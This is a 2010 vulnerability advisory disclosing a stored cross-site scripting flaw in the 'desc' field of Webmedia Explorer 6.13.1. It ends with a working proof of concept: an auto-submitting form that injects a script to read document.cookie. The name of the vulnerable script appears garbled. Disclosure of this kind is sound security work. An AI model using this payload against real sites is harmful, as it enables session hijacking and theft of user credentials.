Webmedia Explorer 6.13.1 - Persistent Cross-Site Scripting

Vulnerability ID: HTB22661
Reference: http://www.htbridge.ch/advisory/stored_xss_vulnerability_in_webmedia_explorer.html
Product: Webmedia Explorer
Vendor: Marc Salmurri ( http://www.webmediaexplorer.com/ ) 
Vulnerable Version: 6.13.1 and probably prior versions
Vendor Notification: 19 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "6.13.1!">" script to properly sanitize user-supplied input in "desc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/folder" method="post" name="main">
<input type="hidden" name="object" value="folder">
<input type="hidden" name="desc" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="tags" value="">
<input type="hidden" name="position" value="">
<input type="hidden" name="readme" value="post txt">
</form>
<script>
document.main.submit();
</script>